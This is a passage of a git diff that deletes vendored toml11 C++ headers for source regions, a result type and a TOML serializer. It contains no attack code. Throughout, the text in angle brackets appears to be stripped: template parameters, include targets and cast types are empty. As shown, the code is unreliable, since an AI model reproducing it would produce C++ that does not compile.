f, const_iterator l) - : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l) - {} - region(location&& loc, const_iterator f, const_iterator l) - : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l) - {} - - region(const region&) = default; - region(region&&) = default; - region& operator=(const region&) = default; - region& operator=(region&&) = default; - ~region() = default; - - region& operator+=(const region& other) - { - // different regions cannot be concatenated - assert(this->begin() == other.begin() && this->end() == other.end() && - this->last_ == other.first_); - - this->last_ = other.last_; - return *this; - } - - bool is_ok() const noexcept override {return static_cast(source_);} - char front() const noexcept override {return *first_;} - - std::string str() const override {return make_string(first_, last_);} - std::string line() const override - { - if(this->contain_newline()) - { - return make_string(this->line_begin(), - std::find(this->line_begin(), this->last(), '\n')); - } - return make_string(this->line_begin(), this->line_end()); - } - std::string line_num() const override - { - return std::to_string(1 + std::count(this->begin(), this->first(), '\n')); - } - - std::size_t size() const noexcept override - { - const auto sz = std::distance(first_, last_); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t before() const noexcept override - { - const auto sz = std::distance(this->line_begin(), this->first()); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t after() const noexcept override - { - const auto sz = std::distance(this->last(), this->line_end()); - assert(sz >= 0); - return static_cast(sz); - } - - bool contain_newline() const noexcept - { - return std::find(this->first(), this->last(), '\n') != this->last(); - } - - const_iterator line_begin() const noexcept - { - using reverse_iterator = std::reverse_iterator; - return std::find(reverse_iterator(this->first()), - reverse_iterator(this->begin()), '\n').base(); - } - const_iterator line_end() const noexcept - { - return std::find(this->last(), this->end(), '\n'); - } - - const_iterator begin() const noexcept {return source_->cbegin();} - const_iterator end() const noexcept {return source_->cend();} - const_iterator first() const noexcept {return first_;} - const_iterator last() const noexcept {return last_;} - - source_ptr const& source() const& noexcept {return source_;} - source_ptr&& source() && noexcept {return std::move(source_);} - - std::string name() const override {return source_name_;} - - std::vector comments() const override - { - // assuming the current region (`*this`) points a value. - // ```toml - // a = "value" - // ^^^^^^^- this region - // ``` - using rev_iter = std::reverse_iterator; - - std::vector com{}; - { - // find comments just before the current region. - // ```toml - // # this should be collected. - // # this also. - // a = value # not this. - // ``` - - // # this is a comment for `a`, not array elements. - // a = [1, 2, 3, 4, 5] - if(this->first() == std::find_if(this->line_begin(), this->first(), - [](const char c) noexcept -> bool {return c == '[' || c == '{';})) - { - auto iter = this->line_begin(); // points the first character - while(iter != this->begin()) - { - iter = std::prev(iter); - - // range [line_start, iter) represents the previous line - const auto line_start = std::find( - rev_iter(iter), rev_iter(this->begin()), '\n').base(); - const auto comment_found = std::find(line_start, iter, '#'); - if(comment_found == iter) - { - break; // comment not found. - } - - // exclude the following case. - // > a = "foo" # comment // <-- this is not a comment for b but a. - // > b = "current value" - if(std::all_of(line_start, comment_found, - [](const char c) noexcept -> bool { - return c == ' ' || c == '\t'; - })) - { - // unwrap the first '#' by std::next. - auto s = make_string(std::next(comment_found), iter); - if(!s.empty() && s.back() == '\r') {s.pop_back();} - com.push_back(std::move(s)); - } - else - { - break; - } - iter = line_start; - } - } - } - - if(com.size() > 1) - { - std::reverse(com.begin(), com.end()); - } - - { - // find comments just after the current region. - // ```toml - // # not this. - // a = value # this one. - // a = [ # not this (technically difficult) - // - // ] # and this. - // ``` - // The reason why it's difficult is that it requires parsing in the - // following case. - // ```toml - // a = [ 10 # this comment is for `10`. not for `a` but `a[0]`. - // # ... - // ] # this is apparently a comment for a. - // - // b = [ - // 3.14 ] # there is no way to add a comment to `3.14` currently. - // - // c = [ - // 3.14 # do this if you need a comment here. - // ] - // ``` - const auto comment_found = - std::find(this->last(), this->line_end(), '#'); - if(comment_found != this->line_end()) // '#' found - { - // table = {key = "value"} # what is this for? - // the above comment is not for "value", but {key="value"}. - if(comment_found == std::find_if(this->last(), comment_found, - [](const char c) noexcept -> bool { - return !(c == ' ' || c == '\t' || c == ','); - })) - { - // unwrap the first '#' by std::next. - auto s = make_string(std::next(comment_found), this->line_end()); - if(!s.empty() && s.back() == '\r') {s.pop_back();} - com.push_back(std::move(s)); - } - } - } - return com; - } - - private: - - source_ptr source_; - std::string source_name_; - const_iterator first_, last_; -}; - -} // detail -} // toml -#endif// TOML11_REGION_H diff --git a/src/toml11/toml/result.hpp b/src/toml11/toml/result.hpp deleted file mode 100644 index 77cd46c64..000000000 --- a/src/toml11/toml/result.hpp +++ /dev/null @@ -1,717 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_RESULT_HPP -#define TOML11_RESULT_HPP -#include "traits.hpp" -#include -#include -#include -#include -#include -#include -#include - -namespace toml -{ - -template -struct success -{ - using value_type = T; - value_type value; - - explicit success(const value_type& v) - noexcept(std::is_nothrow_copy_constructible::value) - : value(v) - {} - explicit success(value_type&& v) - noexcept(std::is_nothrow_move_constructible::value) - : value(std::move(v)) - {} - - template - explicit success(U&& v): value(std::forward(v)) {} - - template - explicit success(const success& v): value(v.value) {} - template - explicit success(success&& v): value(std::move(v.value)) {} - - ~success() = default; - success(const success&) = default; - success(success&&) = default; - success& operator=(const success&) = default; - success& operator=(success&&) = default; -}; - -template -struct failure -{ - using value_type = T; - value_type value; - - explicit failure(const value_type& v) - noexcept(std::is_nothrow_copy_constructible::value) - : value(v) - {} - explicit failure(value_type&& v) - noexcept(std::is_nothrow_move_constructible::value) - : value(std::move(v)) - {} - - template - explicit failure(U&& v): value(std::forward(v)) {} - - template - explicit failure(const failure& v): value(v.value) {} - template - explicit failure(failure&& v): value(std::move(v.value)) {} - - ~failure() = default; - failure(const failure&) = default; - failure(failure&&) = default; - failure& operator=(const failure&) = default; - failure& operator=(failure&&) = default; -}; - -template -success::type>::type> -ok(T&& v) -{ - return success< - typename std::remove_cv::type>::type - >(std::forward(v)); -} -template -failure::type>::type> -err(T&& v) -{ - return failure< - typename std::remove_cv::type>::type - >(std::forward(v)); -} - -inline success ok(const char* literal) -{ - return success(std::string(literal)); -} -inline failure err(const char* literal) -{ - return failure(std::string(literal)); -} - - -template -struct result -{ - using value_type = T; - using error_type = E; - using success_type = success; - using failure_type = failure; - - result(const success_type& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(s); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - result(const failure_type& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(f); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - result(success_type&& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - result(failure_type&& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - - template - result(const success& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(s.value); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - template - result(const failure& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - template - result(success&& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - template - result(failure&& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - - result& operator=(const success_type& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(s); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - result& operator=(const failure_type& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(f); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - result& operator=(success_type&& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - result& operator=(failure_type&& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - - template - result& operator=(const success& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(s.value); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - template - result& operator=(const failure& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - template - result& operator=(success&& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - template - result& operator=(failure&& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - - ~result() noexcept {this->cleanup();} - - result(const result& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - result(result&& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - - template - result(const result& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - template - result(result&& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - - result& operator=(const result& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - result& operator=(result&& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - - template - result& operator=(const result& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - template - result& operator=(result&& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - - bool is_ok() const noexcept {return is_ok_;} - bool is_err() const noexcept {return !is_ok_;} - - operator bool() const noexcept {return is_ok_;} - - value_type& unwrap() & - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return this->succ.value; - } - value_type const& unwrap() const& - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return this->succ.value; - } - value_type&& unwrap() && - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return std::move(this->succ.value); - } - - value_type& unwrap_or(value_type& opt) & - { - if(is_err()) {return opt;} - return this->succ.value; - } - value_type const& unwrap_or(value_type const& opt) const& - { - if(is_err()) {return opt;} - return this->succ.value; - } - value_type unwrap_or(value_type opt) && - { - if(is_err()) {return opt;} - return this->succ.value; - } - - error_type& unwrap_err() & - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return this->fail.value; - } - error_type const& unwrap_err() const& - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return this->fail.value; - } - error_type&& unwrap_err() && - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return std::move(this->fail.value); - } - - value_type& as_ok() & noexcept {return this->succ.value;} - value_type const& as_ok() const& noexcept {return this->succ.value;} - value_type&& as_ok() && noexcept {return std::move(this->succ.value);} - - error_type& as_err() & noexcept {return this->fail.value;} - error_type const& as_err() const& noexcept {return this->fail.value;} - error_type&& as_err() && noexcept {return std::move(this->fail.value);} - - - // prerequisities - // F: T -> U - // retval: result - template - result, error_type> - map(F&& f) & - { - if(this->is_ok()){return ok(f(this->as_ok()));} - return err(this->as_err()); - } - template - result, error_type> - map(F&& f) const& - { - if(this->is_ok()){return ok(f(this->as_ok()));} - return err(this->as_err()); - } - template - result, error_type> - map(F&& f) && - { - if(this->is_ok()){return ok(f(std::move(this->as_ok())));} - return err(std::move(this->as_err())); - } - - // prerequisities - // F: E -> F - // retval: result - template - result> - map_err(F&& f) & - { - if(this->is_err()){return err(f(this->as_err()));} - return ok(this->as_ok()); - } - template - result> - map_err(F&& f) const& - { - if(this->is_err()){return err(f(this->as_err()));} - return ok(this->as_ok()); - } - template - result> - map_err(F&& f) && - { - if(this->is_err()){return err(f(std::move(this->as_err())));} - return ok(std::move(this->as_ok())); - } - - // prerequisities - // F: T -> U - // retval: U - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) & - { - if(this->is_err()){return std::forward(opt);} - return f(this->as_ok()); - } - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) const& - { - if(this->is_err()){return std::forward(opt);} - return f(this->as_ok()); - } - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) && - { - if(this->is_err()){return std::forward(opt);} - return f(std::move(this->as_ok())); - } - - // prerequisities - // F: E -> U - // retval: U - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) & - { - if(this->is_ok()){return std::forward(opt);} - return f(this->as_err()); - } - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) const& - { - if(this->is_ok()){return std::forward(opt);} - return f(this->as_err()); - } - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) && - { - if(this->is_ok()){return std::forward(opt);} - return f(std::move(this->as_err())); - } - - // prerequisities: - // F: func T -> U - // toml::err(error_type) should be convertible to U. - // normally, type U is another result and E is convertible to F - template - detail::return_type_of_t - and_then(F&& f) & - { - if(this->is_ok()){return f(this->as_ok());} - return err(this->as_err()); - } - template - detail::return_type_of_t - and_then(F&& f) const& - { - if(this->is_ok()){return f(this->as_ok());} - return err(this->as_err()); - } - template - detail::return_type_of_t - and_then(F&& f) && - { - if(this->is_ok()){return f(std::move(this->as_ok()));} - return err(std::move(this->as_err())); - } - - // prerequisities: - // F: func E -> U - // toml::ok(value_type) should be convertible to U. - // normally, type U is another result and T is convertible to S - template - detail::return_type_of_t - or_else(F&& f) & - { - if(this->is_err()){return f(this->as_err());} - return ok(this->as_ok()); - } - template - detail::return_type_of_t - or_else(F&& f) const& - { - if(this->is_err()){return f(this->as_err());} - return ok(this->as_ok()); - } - template - detail::return_type_of_t - or_else(F&& f) && - { - if(this->is_err()){return f(std::move(this->as_err()));} - return ok(std::move(this->as_ok())); - } - - // if *this is error, returns *this. otherwise, returns other. - result and_other(const result& other) const& - { - return this->is_err() ? *this : other; - } - result and_other(result&& other) && - { - return this->is_err() ? std::move(*this) : std::move(other); - } - - // if *this is okay, returns *this. otherwise, returns other. - result or_other(const result& other) const& - { - return this->is_ok() ? *this : other; - } - result or_other(result&& other) && - { - return this->is_ok() ? std::move(*this) : std::move(other); - } - - void swap(result& other) - { - result tmp(std::move(*this)); - *this = std::move(other); - other = std::move(tmp); - return ; - } - - private: - - static std::string format_error(std::exception const& excpt) - { - return std::string(excpt.what()); - } - template::value, std::nullptr_t>::type = nullptr> - static std::string format_error(U const& others) - { - std::ostringstream oss; oss << others; - return oss.str(); - } - - void cleanup() noexcept - { - if(this->is_ok_) {this->succ.~success_type();} - else {this->fail.~failure_type();} - return; - } - - private: - - bool is_ok_; - union - { - success_type succ; - failure_type fail; - }; -}; - -template -void swap(result& lhs, result& rhs) -{ - lhs.swap(rhs); - return; -} - -// this might be confusing because it eagerly evaluated, while in the other -// cases operator && and || are short-circuited. -// -// template -// inline result -// operator&&(const result& lhs, const result& rhs) noexcept -// { -// return lhs.is_ok() ? rhs : lhs; -// } -// -// template -// inline result -// operator||(const result& lhs, const result& rhs) noexcept -// { -// return lhs.is_ok() ? lhs : rhs; -// } - -// ---------------------------------------------------------------------------- -// re-use result as a optional with none_t - -namespace detail -{ -struct none_t {}; -inline bool operator==(const none_t&, const none_t&) noexcept {return true;} -inline bool operator!=(const none_t&, const none_t&) noexcept {return false;} -inline bool operator< (const none_t&, const none_t&) noexcept {return false;} -inline bool operator<=(const none_t&, const none_t&) noexcept {return true;} -inline bool operator> (const none_t&, const none_t&) noexcept {return false;} -inline bool operator>=(const none_t&, const none_t&) noexcept {return true;} -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const none_t&) -{ - os << "none"; - return os; -} -inline failure none() noexcept {return failure{none_t{}};} -} // detail -} // toml11 -#endif// TOML11_RESULT_H diff --git a/src/toml11/toml/serializer.hpp b/src/toml11/toml/serializer.hpp deleted file mode 100644 index 88ae775a8..000000000 --- a/src/toml11/toml/serializer.hpp +++ /dev/null @@ -1,922 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_SERIALIZER_HPP -#define TOML11_SERIALIZER_HPP -#include -#include - -#include - -#include "lexer.hpp" -#include "value.hpp" - -namespace toml -{ - -// This function serialize a key. It checks a string is a bare key and -// escapes special characters if the string is not compatible to a bare key. -// ```cpp -// std::string k("non.bare.key"); // the key itself includes `.`s. -// std::string formatted = toml::format_key(k); -// assert(formatted == "\"non.bare.key\""); -// ``` -// -// This function is exposed to make it easy to write a user-defined serializer. -// Since toml restricts characters available in a bare key, generally a string -// should be escaped. But checking whether a string needs to be surrounded by -// a `"` and escaping some special character is boring. -template -std::basic_string -format_key(const std::basic_string& k) -{ - if(k.empty()) - { - return std::string("\"\""); - } - - // check the key can be a bare (unquoted) key - detail::location loc(k, std::vector(k.begin(), k.end())); - detail::lex_unquoted_key::invoke(loc); - if(loc.iter() == loc.end()) - { - return k; // all the tokens are consumed. the key is unquoted-key. - } - - //if it includes special characters, then format it in a "quoted" key. - std::basic_string serialized("\""); - for(const char c : k) - { - switch(c) - { - case '\\': {serialized += "\\\\"; break;} - case '\"': {serialized += "\\\""; break;} - case '\b': {serialized += "\\b"; break;} - case '\t': {serialized += "\\t"; break;} - case '\f': {serialized += "\\f"; break;} - case '\n': {serialized += "\\n"; break;} - case '\r': {serialized += "\\r"; break;} - default : {serialized += c; break;} - } - } - serialized += "\""; - return serialized; -} - -template -std::basic_string -format_keys(const std::vector>& keys) -{ - if(keys.empty()) - { - return std::string("\"\""); - } - - std::basic_string serialized; - for(const auto& ky : keys) - { - serialized += format_key(ky); - serialized += charT('.'); - } - serialized.pop_back(); // remove the last dot '.' - return serialized; -} - -template -struct serializer -{ - static_assert(detail::is_basic_value::value, - "toml::serializer is for toml::value and its variants, " - "toml::basic_value<...>."); - - using value_type = Value; - using key_type = typename value_type::key_type ; - using comment_type = typename value_type::comment_type ; - using boolean_type = typename value_type::boolean_type ; - using integer_type = typename value_type::integer_type ; - using floating_type = typename value_type::floating_type ; - using string_type = typename value_type::string_type ; - using local_time_type = typename value_type::local_time_type ; - using local_date_type = typename value_type::local_date_type ; - using local_datetime_type = typename value_type::local_datetime_type ; - using offset_datetime_type = typename value_type::offset_datetime_type; - using array_type = typename value_type::array_type ; - using table_type = typename value_type::table_type ; - - serializer(const std::size_t w = 80u, - const int float_prec = std::numeric_limits::max_digits10, - const bool can_be_inlined = false, - const bool no_comment = false, - std::vector ks = {}, - const bool value_has_comment = false) - : can_be_inlined_(can_be_inlined), no_comment_(no_comment), - value_has_comment_(value_has_comment && !no_comment), - float_prec_(float_prec), width_(w), keys_(std::move(ks)) - {} - ~serializer() = default; - - std::string operator()(const boolean_type& b) const - { - return b ? "true" : "false"; - } - std::string operator()(const integer_type i) const - { - return std::to_string(i); - } - std::string operator()(const floating_type f) const - { - if(std::isnan(f)) - { - if(std::signbit(f)) - { - return std::string("-nan"); - } - else - { - return std::string("nan"); - } - } - else if(!std::isfinite(f)) - { - if(std::signbit(f)) - { - return std::string("-inf"); - } - else - { - return std::string("inf"); - } - } - - const auto fmt = "%.*g"; - const auto bsz = std::snprintf(nullptr, 0, fmt, this->float_prec_, f); - // +1 for null character(\0) - std::vector buf(static_cast(bsz + 1), '\0'); - std::snprintf(buf.data(), buf.size(), fmt, this->float_prec_, f); - - std::string token(buf.begin(), std::prev(buf.end())); - if(!token.empty() && token.back() == '.') // 1. => 1.0 - { - token += '0'; - } - - const auto e = std::find_if( - token.cbegin(), token.cend(), [](const char c) noexcept -> bool { - return c == 'e' || c == 'E'; - }); - const auto has_exponent = (token.cend() != e); - const auto has_fraction = (token.cend() != std::find( - token.cbegin(), token.cend(), '.')); - - if(!has_exponent && !has_fraction) - { - // the resulting value does not have any float specific part! - token += ".0"; - } - return token; - } - std::string operator()(const string_type& s) const - { - if(s.kind == string_t::basic) - { - if((std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\"') != s.str.cend()) && - this->width_ != (std::numeric_limits::max)()) - { - // if linefeed or double-quote is contained, - // make it multiline basic string. - const auto escaped = this->escape_ml_basic_string(s.str); - std::string open("\"\"\""); - std::string close("\"\"\""); - if(escaped.find('\n') != std::string::npos || - this->width_ < escaped.size() + 6) - { - // if the string body contains newline or is enough long, - // add newlines after and before delimiters. - open += "\n"; - close = std::string("\\\n") + close; - } - return open + escaped + close; - } - - // no linefeed. try to make it oneline-string. - std::string oneline = this->escape_basic_string(s.str); - if(oneline.size() + 2 < width_ || width_ < 2) - { - const std::string quote("\""); - return quote + oneline + quote; - } - - // the line is too long compared to the specified width. - // split it into multiple lines. - std::string token("\"\"\"\n"); - while(!oneline.empty()) - { - if(oneline.size() < width_) - { - token += oneline; - oneline.clear(); - } - else if(oneline.at(width_-2) == '\\') - { - token += oneline.substr(0, width_-2); - token += "\\\n"; - oneline.erase(0, width_-2); - } - else - { - token += oneline.substr(0, width_-1); - token += "\\\n"; - oneline.erase(0, width_-1); - } - } - return token + std::string("\\\n\"\"\""); - } - else // the string `s` is literal-string. - { - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() ) - { - std::string open("'''"); - if(this->width_ + 6 < s.str.size()) - { - open += '\n'; // the first newline is ignored by TOML spec - } - const std::string close("'''"); - return open + s.str + close; - } - else - { - const std::string quote("'"); - return quote + s.str + quote; - } - } - } - - std::string operator()(const local_date_type& d) const - { - std::ostringstream oss; - oss << d; - return oss.str(); - } - std::string operator()(const local_time_type& t) const - { - std::ostringstream oss; - oss << t; - return oss.str(); - } - std::string operator()(const local_datetime_type& dt) const - { - std::ostringstream oss; - oss << dt; - return oss.str(); - } - std::string operator()(const offset_datetime_type& odt) const - { - std::ostringstream oss; - oss << odt; - return oss.str(); - } - - std::string operator()(const array_type& v) const - { - if(v.empty()) - { - return std::string("[]"); - } - if(this->is_array_of_tables(v)) - { - return make_array_of_tables(v); - } - - // not an array of tables. normal array. - // first, try to make it inline if none of the elements have a comment. - if( ! this->has_comment_inside(v)) - { - const auto inl = this->make_inline_array(v); - if(inl.size() < this->width_ && - std::find(inl.cbegin(), inl.cend(), '\n') == inl.cend()) - { - return inl; - } - } - - // if the length exceeds this->width_, print multiline array. - // key = [ - // # ... - // 42, - // ... - // ] - std::string token; - std::string current_line; - token += "[\n"; - for(const auto& item : v) - { - if( ! item.comments().empty() && !no_comment_) - { - // if comment exists, the element must be the only element in the line. - // e.g. the following is not allowed. - // ```toml - // array = [ - // # comment for what? - // 1, 2, 3, 4, 5 - // ] - // ``` - if(!current_line.empty()) - { - if(current_line.back() != '\n') - { - current_line += '\n'; - } - token += current_line; - current_line.clear(); - } - for(const auto& c : item.comments()) - { - token += '#'; - token += c; - token += '\n'; - } - token += toml::visit(*this, item); - if(!token.empty() && token.back() == '\n') {token.pop_back();} - token += ",\n"; - continue; - } - std::string next_elem; - if(item.is_table()) - { - serializer ser(*this); - ser.can_be_inlined_ = true; - ser.width_ = (std::numeric_limits::max)(); - next_elem += toml::visit(ser, item); - } - else - { - next_elem += toml::visit(*this, item); - } - - // comma before newline. - if(!next_elem.empty() && next_elem.back() == '\n') {next_elem.pop_back();} - - // if current line does not exceeds the width limit, continue. - if(current_line.size() + next_elem.size() + 1 < this->width_) - { - current_line += next_elem; - current_line += ','; - } - else if(current_line.empty()) - { - // if current line was empty, force put the next_elem because - // next_elem is not splittable - token += next_elem; - token += ",\n"; - // current_line is kept empty - } - else // reset current_line - { - assert(current_line.back() == ','); - token += current_line; - token += '\n'; - current_line = next_elem; - current_line += ','; - } - } - if(!current_line.empty()) - { - if(!current_line.empty() && current_line.back() != '\n') - { - current_line += '\n'; - } - token += current_line; - } - token += "]\n"; - return token; - } - - // templatize for any table-like container - std::string operator()(const table_type& v) const - { - // if an element has a comment, then it can't be inlined. - // table = {# how can we write a comment for this? key = "value"} - if(this->can_be_inlined_ && !(this->has_comment_inside(v))) - { - std::string token; - if(!this->keys_.empty()) - { - token += format_key(this->keys_.back()); - token += " = "; - } - token += this->make_inline_table(v); - if(token.size() < this->width_ && - token.end() == std::find(token.begin(), token.end(), '\n')) - { - return token; - } - } - - std::string token; - if(!keys_.empty()) - { - token += '['; - token += format_keys(keys_); - token += "]\n"; - } - token += this->make_multiline_table(v); - return token; - } - - private: - - std::string escape_basic_string(const std::string& s) const - { - //XXX assuming `s` is a valid utf-8 sequence. - std::string retval; - for(const char c : s) - { - switch(c) - { - case '\\': {retval += "\\\\"; break;} - case '\"': {retval += "\\\""; break;} - case '\b': {retval += "\\b"; break;} - case '\t': {retval += "\\t"; break;} - case '\f': {retval += "\\f"; break;} - case '\n': {retval += "\\n"; break;} - case '\r': {retval += "\\r"; break;} - default : - { - if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F) - { - retval += "\\u00"; - retval += char(48 + (c / 16)); - retval += char((c % 16 < 10 ? 48 : 55) + (c % 16)); - } - else - { - retval += c; - } - } - } - } - return retval; - } - - std::string escape_ml_basic_string(const std::string& s) const - { - std::string retval; - for(auto i=s.cbegin(), e=s.cend(); i!=e; ++i) - { - switch(*i) - { - case '\\': {retval += "\\\\"; break;} - // One or two consecutive "s are allowed. - // Later we will check there are no three consecutive "s. - // case '\"': {retval += "\\\""; break;} - case '\b': {retval += "\\b"; break;} - case '\t': {retval += "\\t"; break;} - case '\f': {retval += "\\f"; break;} - case '\n': {retval += "\n"; break;} - case '\r': - { - if(std::next(i) != e && *std::next(i) == '\n') - { - retval += "\r\n"; - ++i; - } - else - { - retval += "\\r"; - } - break; - } - default : - { - const auto c = *i; - if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F) - { - retval += "\\u00"; - retval += char(48 + (c / 16)); - retval += char((c % 16 < 10 ? 48 : 55) + (c % 16)); - } - else - { - retval += c; - } - } - - } - } - // Only 1 or 2 consecutive `"`s are allowed in multiline basic string. - // 3 consecutive `"`s are considered as a closing delimiter. - // We need to check if there are 3 or more consecutive `"`s and insert - // backslash to break them down into several short `"`s like the `str6` - // in the following example. - // ```toml - // str4 = """Here are two quotation marks: "". Simple enough.""" - // # str5 = """Here are three quotation marks: """.""" # INVALID - // str5 = """Here are three quotation marks: ""\".""" - // str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\".""" - // ``` - auto found_3_quotes = retval.find("\"\"\""); - while(found_3_quotes != std::string::npos) - { - retval.replace(found_3_quotes, 3, "\"\"\\\""); - found_3_quotes = retval.find("\"\"\""); - } - return retval; - } - - // if an element of a table or an array has a comment, it cannot be inlined. - bool has_comment_inside(const array_type& a) const noexcept - { - // if no_comment is set, comments would not be written. - if(this->no_comment_) {return false;} - - for(const auto& v : a) - { - if(!v.comments().empty()) {return true;} - } - return false; - } - bool has_comment_inside(const table_type& t) const noexcept - { - // if no_comment is set, comments would not be written. - if(this->no_comment_) {return false;} - - for(const auto& kv : t) - { - if(!kv.second.comments().empty()) {return true;} - } - return false; - } - - std::string make_inline_array(const array_type& v) const - { - assert(!has_comment_inside(v)); - std::string token; - token += '['; - bool is_first = true; - for(const 